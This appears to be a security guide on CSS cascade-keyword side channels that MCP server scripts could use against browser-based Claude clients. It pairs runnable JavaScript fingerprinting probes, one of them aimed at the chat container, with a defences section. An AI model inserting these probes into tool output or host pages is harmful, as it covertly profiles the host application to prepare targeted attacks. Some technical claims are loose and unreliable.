Security Guide
MCP server CSS cascade values security — revert author style detection, inherit ancestor property traversal, initial comparison oracle, all:unset host customization depth fingerprint
CSS cascade-controlling values — initial, inherit, unset, revert, and revert-layer — manage how property values flow through the style cascade. Each keyword interacts with the cascade in a distinct way that can be exploited as a measurement channel. For MCP server scripts running in browser-based Claude clients, these keywords reveal whether the host application applied author styles to specific properties, map ancestor element computed values without direct DOM access, and build a fingerprint of how deeply the host has customized its styling — all without any permission or network request.
How cascade-controlling values create information channels
The CSS cascade has four layers: browser user-agent styles, user stylesheets, author stylesheets, and inline styles. The cascade-controlling keywords interact with these layers selectively. revert rolls back to the previous cascade origin — if an author stylesheet set a value, revert reveals that value by removing it and showing what would have been applied by the browser or user stylesheet. inherit forces inheritance from the parent element, turning any DOM ancestor into a readable data source. initial resets to the CSS specification's initial value, and the difference between initial and the actual computed value reveals whether the author stylesheet explicitly set that property.
These measurements do not require document.styleSheets access or CSSOM iteration. They work by injecting probe elements, applying cascade-controlling values, and reading the resulting computed style — standard DOM operations available to any script running in the page context.
Attack 1: revert reveals host author stylesheet coverage
Applying property: revert to a test element rolls the property back to the highest-priority cascade origin that is not the author stylesheet. If the host application set color on body, applying color: revert on a body-child probe reveals what the browser's user-agent stylesheet would set for that element type — and the difference between the revert value and the normal computed value proves that the author stylesheet explicitly set color on that element or its ancestors. This builds a "which CSS properties were customized" map of the host application without reading cssRules.
/* Probe which properties the host application's author stylesheet explicitly sets
on a given element type */
function mapAuthorStylesheet(tagName) {
const propertiesToProbe = [
'color', 'background-color', 'font-family', 'font-size',
'padding', 'margin', 'border', 'border-radius', 'box-shadow',
'line-height', 'letter-spacing', 'text-transform', 'opacity'
];
// Create two probe elements: one normal, one with all properties reverted
const normalEl = document.createElement(tagName);
const revertEl = document.createElement(tagName);
normalEl.style.position = revertEl.style.position = 'fixed';
normalEl.style.top = revertEl.style.top = '-9999px';
normalEl.style.visibility = 'hidden';
// Apply revert to all probed properties on revertEl
propertiesToProbe.forEach(prop => {
revertEl.style[prop] = 'revert';
});
document.body.appendChild(normalEl);
document.body.appendChild(revertEl);
const normalCs = getComputedStyle(normalEl);
const revertCs = getComputedStyle(revertEl);
const authorSetProperties = {};
propertiesToProbe.forEach(prop => {
const normalVal = normalCs[prop];
const revertVal = revertCs[prop];
// If values differ, the host author stylesheet set this property
if (normalVal !== revertVal) {
authorSetProperties[prop] = { hostValue: normalVal, uaValue: revertVal };
}
});
document.body.removeChild(normalEl);
document.body.removeChild(revertEl);
return authorSetProperties;
}
// Example: mapAuthorStylesheet('button') reveals which button properties the host styled
// Result identifies the CSS framework in use (Bootstrap, Tailwind, custom design system)
// Each framework has a distinctive property fingerprint
Framework fingerprinting: The set of author-styled properties on common elements (button, input, a, h1) differs by CSS framework. Bootstrap, Tailwind, Bulma, and custom design systems each apply distinct combinations of properties. This allows the MCP server to identify which CSS framework the host application uses — useful intelligence for targeted exploitation.
Attack 2: inherit maps ancestor computed property values
CSS inherit forces a property to take the computed value of the same property on the parent element. By injecting a test element as a child of any existing DOM node and setting all properties to inherit, an attacker can read the computed property values of that ancestor element without directly accessing it — useful when the element is in a different subtree or has access controls on its direct DOM properties.
/* Read computed property values of any ancestor element via inherit */
function readAncestorProperties(ancestorEl, properties) {
const probe = document.createElement('span');
probe.style.position = 'fixed';
probe.style.top = '-9999px';
// Force all probed properties to inherit from ancestorEl
properties.forEach(prop => {
probe.style[prop] = 'inherit';
});
ancestorEl.appendChild(probe);
const inheritedValues = {};
const cs = getComputedStyle(probe);
properties.forEach(prop => {
inheritedValues[prop] = cs[prop];
});
ancestorEl.removeChild(probe);
return inheritedValues;
}
// Works on elements where getComputedStyle() is not directly available
// (cross-shadow-DOM boundaries are NOT crossed by inherit)
// but works on any element in the same light DOM tree
// Attack scenario: probe the MCP client's chat message container
// to read color, background-color, font-family → identify the application
// by its design tokens without reading source code or cssRules
const chatContainer = document.querySelector('[data-testid="chat-container"]')
|| document.querySelector('.conversation')
|| document.querySelector('main');
if (chatContainer) {
const tokens = readAncestorProperties(chatContainer, [
'color', 'background-color', 'font-family', '--primary-color', '--accent'
]);
// tokens now contains the host application's design token values
// → identifies the specific MCP client application and version
}
Attack 3: initial comparison oracle for property-set detection
The initial keyword resets a property to the CSS specification's initial value — the value the property has in an unstyled document with no user-agent stylesheet. Comparing the initial value to the computed value on any element reveals whether that element's property was explicitly set in any stylesheet (author, user, or UA). For properties that have initial: auto or initial: 0, any non-initial computed value proves a stylesheet set it.
/* Detect which properties are explicitly set on a target element */
function detectExplicitlySetProperties(targetEl) {
// CSS specification initial values for common properties
const initialValues = {
'color': 'rgb(0, 0, 0)', // initial: black
'background-color': 'rgba(0, 0, 0, 0)', // initial: transparent
'font-weight': '400', // initial: normal = 400
'font-style': 'normal',
'text-decoration': 'none',
'border-width': '0px',
'padding': '0px',
'margin': '0px',
'display': 'inline', // initial varies by element type
'opacity': '1',
'transform': 'none',
'transition': 'all 0s ease 0s',
};
const probe = document.createElement('span');
probe.style.position = 'fixed';
probe.style.top = '-9999px';
// Insert probe as sibling of target to inherit its ancestor context
targetEl.parentNode?.insertBefore(probe, targetEl.nextSibling);
const cs = getComputedStyle(probe);
const explicitlySet = {};
Object.entries(initialValues).forEach(([prop, initialVal]) => {
// Apply initial value to probe
probe.style[prop] = 'initial';
const initialComputed = getComputedStyle(probe)[prop];
probe.style[prop] = '';
const targetComputed = getComputedStyle(targetEl)[prop];
if (targetComputed !== initialComputed) {
explicitlySet[prop] = { value: targetComputed, initial: initialComputed };
}
});
probe.remove();
return explicitlySet;
}
// Result: a map of which properties were explicitly set on the target
// vs which are browser defaults. Fingerprints application styling depth.
Specificity note: This attack reveals that a property was set somewhere in the cascade, but not which cascade layer set it (UA, user, or author). The revert attack (Attack 1) disambiguates by removing the author layer. Both attacks together can determine exactly which layer set each property.
Attack 4: all:unset encodes host element customization depth
all: unset on an injected element sets every CSS property to either initial (for non-inherited properties) or inherit (for inherited properties). The layout difference between an element with all: unset applied and the same element without reveals how many properties the host application explicitly set on that element or its ancestors. Elements that are heavily styled produce a large layout delta when un-styled; elements using browser defaults produce zero delta.
/* Measure host element customization depth via all:unset */
function measureCustomizationDepth(selector) {
const el = document.querySelector(selector);
if (!el) return null;
// Measure dimensions before and after all:unset
const normalRect = el.getBoundingClientRect();
const originalStyle = el.style.cssText;
el.style.cssText = 'all: unset; position: fixed; top: -9999px;';
const unsetRect = el.getBoundingClientRect();
el.style.cssText = originalStyle;
// Normalized delta: larger delta = more customization
const widthDelta = Math.abs(normalRect.width - unsetRect.width);
const heightDelta = Math.abs(normalRect.height - unsetRect.height);
// Applications with heavy custom CSS have large deltas
// Applications using browser defaults have near-zero deltas
// Identifies "framework-heavy" vs "minimal CSS" applications
const customizationScore = widthDelta + heightDelta;
return {
selector,
widthDelta,
heightDelta,
customizationScore,
// Threshold-based classification:
level: customizationScore < 5 ? 'minimal' :
customizationScore < 50 ? 'moderate' : 'heavy',
};
}
// Combined with the author-property map from Attack 1:
// Build a complete CSS fingerprint of the host application
// that identifies the framework, version range, and configuration
// without reading any source files or making network requests
Attack surface summary
| Attack | Cascade keyword | Information leaked | Requires DOM access |
|---|---|---|---|
| Author stylesheet coverage map | revert | Which properties host explicitly styled (per element type) | Insert probe as document child |
| Ancestor computed property traversal | inherit | Computed values of all ancestor elements | Append probe to target ancestor |
| Property-set detection oracle | initial | Whether each property was explicitly set vs browser default | Insert probe as sibling of target |
| Customization depth fingerprint | all: unset | CSS framework heaviness; application identity | Modify then restore target element style |
Defences
Cross-origin sandboxed iframe for tool output: MCP tool output in a sandboxed cross-origin iframe cannot inject probe elements into the parent document's DOM. The inherit and revert attacks require inserting probe children into parent-document elements — the same-origin boundary enforced by the sandbox attribute blocks this. This is the strongest architectural defence against cascade-value side-channel attacks.
Content Security Policy script-src with nonces: The cascade-value attacks require JavaScript to read getComputedStyle results. Blocking injected script execution via nonce-based CSP prevents the measurement step. Note: CSS-only variants (using background-image: url() to exfiltrate computed values via network) are not blocked by script CSP — style-src nonces are also needed to block CSS injection.
DOMPurify FORBID_ATTR: ['style'] and FORBID_TAGS: ['style']: Prevents injected elements from carrying inline styles with cascade-controlling keywords, and prevents injected <style> blocks from applying all: unset to target elements via class selectors. Effective when combined with script CSP.
Avoid CSS frameworks in MCP client applications: Applications with distinctive CSS framework fingerprints (Bootstrap, Tailwind utility class patterns, Material UI component names) are more susceptible to framework-identification attacks. Using a minimal custom stylesheet or anonymized design tokens reduces the information available to cascade-value probing.
Related: CSS env() function security · CSS text-wrap: balance security · CSS Has No Security Model